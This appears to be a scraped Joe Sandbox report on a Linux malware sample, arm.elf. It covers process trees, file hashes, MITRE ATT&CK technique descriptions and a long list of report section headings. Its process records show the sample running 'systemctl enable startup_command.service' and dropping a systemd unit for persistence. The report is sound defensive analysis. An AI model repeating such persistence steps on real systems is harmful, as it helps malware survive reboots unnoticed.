Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6245, Parent PID: 6241

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: arm.elf PID: 6243, Parent PID: 6237

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6243, Parent PID: 6237

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl daemon-reload"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6247, Parent PID: 6243

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6247, Parent PID: 6243

General

Start time (UTC):	18:26:52
Start date (UTC):	01/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl daemon-reload
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: arm.elf PID: 6262, Parent PID: 6237

General

Start time (UTC):	18:26:53
Start date (UTC):	01/01/2025
Path:	/tmp/arm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6262, Parent PID: 6237

General

Start time (UTC):	18:26:53
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	sh -c "systemctl enable startup_command.service"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6264, Parent PID: 6262

General

Start time (UTC):	18:26:53
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: systemctl PID: 6264, Parent PID: 6262

General

Start time (UTC):	18:26:53
Start date (UTC):	01/01/2025
Path:	/usr/bin/systemctl
Arguments:	systemctl enable startup_command.service
File size:	996584 bytes
MD5 hash:	4deddfb6741481f68aeac522cc26ff4b

Chronological Activities

Analysis Process: systemd PID: 6249, Parent PID: 6248

General

Start time (UTC):	18:26:53
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6249, Parent PID: 6248

General

Start time (UTC):	18:26:53
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: systemd PID: 6266, Parent PID: 6265

General

Start time (UTC):	18:26:54
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: snapd-env-generator PID: 6266, Parent PID: 6265

General

Start time (UTC):	18:26:54
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
Arguments:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File size:	22760 bytes
MD5 hash:	3633b075f40283ec938a2a6a89671b0e

Chronological Activities

Analysis Process: gnome-session-binary PID: 6280, Parent PID: 1477

General

Start time (UTC):	18:26:55
Start date (UTC):	01/01/2025
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Chronological Activities

Analysis Process: sh PID: 6280, Parent PID: 1477

General

Start time (UTC):	18:26:55
Start date (UTC):	01/01/2025
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-rfkill
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gsd-rfkill PID: 6280, Parent PID: 1477

General

Start time (UTC):	18:26:55
Start date (UTC):	01/01/2025
Path:	/usr/libexec/gsd-rfkill
Arguments:	/usr/libexec/gsd-rfkill
File size:	51808 bytes
MD5 hash:	88a16a3c0aba1759358c06215ecfb5cc

Chronological Activities

Analysis Process: systemd PID: 6285, Parent PID: 1

General

Start time (UTC):	18:26:57
Start date (UTC):	01/01/2025
Path:	/usr/lib/systemd/systemd
Arguments:	-
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: systemd-hostnamed PID: 6285, Parent PID: 1

General

Start time (UTC):	18:26:57
Start date (UTC):	01/01/2025
Path:	/lib/systemd/systemd-hostnamed
Arguments:	/lib/systemd/systemd-hostnamed
File size:	35040 bytes
MD5 hash:	2cc8a5576629a2d5bd98e49a4b8bef65

Chronological Activities

Analysis Process: gdm3 PID: 6416, Parent PID: 1320

General

Start time (UTC):	18:26:57
Start date (UTC):	01/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 6416, Parent PID: 1320

General

Start time (UTC):	18:26:57
Start date (UTC):	01/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: gdm3 PID: 6417, Parent PID: 1320

General

Start time (UTC):	18:26:57
Start date (UTC):	01/01/2025
Path:	/usr/sbin/gdm3
Arguments:	-
File size:	453296 bytes
MD5 hash:	2492e2d8d34f9377e3e530a61a15674f

Chronological Activities

Analysis Process: Default PID: 6417, Parent PID: 1320

General

Start time (UTC):	18:26:57
Start date (UTC):	01/01/2025
Path:	/etc/gdm3/PrimeOff/Default
Arguments:	/etc/gdm3/PrimeOff/Default
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report arm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/systemd/system/startup_command.service

/memfd:snapd-env-generator (deleted)

/tmp/qemu-open.ygFtwt (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: arm.elf PID: 6233, Parent PID: 6158

General

Chronological Activities

Analysis Process: arm.elf PID: 6237, Parent PID: 6233

General

Chronological Activities

Analysis Process: arm.elf PID: 6239, Parent PID: 6237

General

Chronological Activities

Analysis Process: arm.elf PID: 6420, Parent PID: 6239

General

Chronological Activities

Analysis Process: arm.elf PID: 6422, Parent PID: 6239

General

Chronological Activities

Analysis Process: arm.elf PID: 6428, Parent PID: 6239

Linux Analysis Report
arm.elf